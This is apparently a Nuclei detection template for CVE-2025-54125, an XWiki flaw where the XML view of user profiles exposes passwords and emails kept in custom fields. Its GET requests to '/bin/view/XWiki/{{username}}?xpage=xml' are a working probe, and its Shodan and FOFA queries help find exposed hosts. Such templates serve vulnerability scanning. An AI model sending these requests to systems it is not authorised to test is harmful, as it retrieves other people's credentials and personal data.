XWiki XML View - Sensitive Information Exposure

id: CVE-2025-54125

info:
  name: XWiki XML View - Sensitive Information Exposure
  author: ritikchaddha
  severity: high
  description: |
    A vulnerability in XWiki's XML view functionality exposes sensitive information such as passwords and email addresses that are stored in custom fields not explicitly named as password or email. This information disclosure occurs when accessing user profiles with the xml.vm template.
  impact: |
    Unauthenticated attackers can access sensitive information including passwords and email addresses stored in custom user profile fields through the XML view functionality.
  remediation: |
    Upgrade XWiki to the latest version that properly protects sensitive custom fields in XML view outputs.
  reference:
    - https://jira.xwiki.org/browse/XWIKI-22810
    - https://nvd.nist.gov/vuln/detail/CVE-2025-54125
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-359
    cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    verified: true
    vendor: xwiki
    product: xwiki
    shodan-query: html:"data-xwiki-reference"
    fofa-query: body="data-xwiki-reference"
  tags: cve,cve2025,xwiki,exposure,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}{{path}}"

    payloads:
      path:
        - "/bin/view/XWiki/{{username}}?xpage=xml"
        - "/xwiki/bin/view/XWiki/{{username}}?xpage=xml"

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(content_type, 'text/xml')"
          - "contains_all(body, '<users>', '<property>', '<author>', '<email>')"
        condition: and
# digest: 4b0a00483046022100f9cce9bd0b5df9b75e7eaaf77b3c4c1beef0b01edea98c0f6b29c235f309e3c2022100a7491063759be67388c118d783427dd51b6b880517d8939332236b0b6ee5e8b2:922c64590222798bb761d5b6d8e72950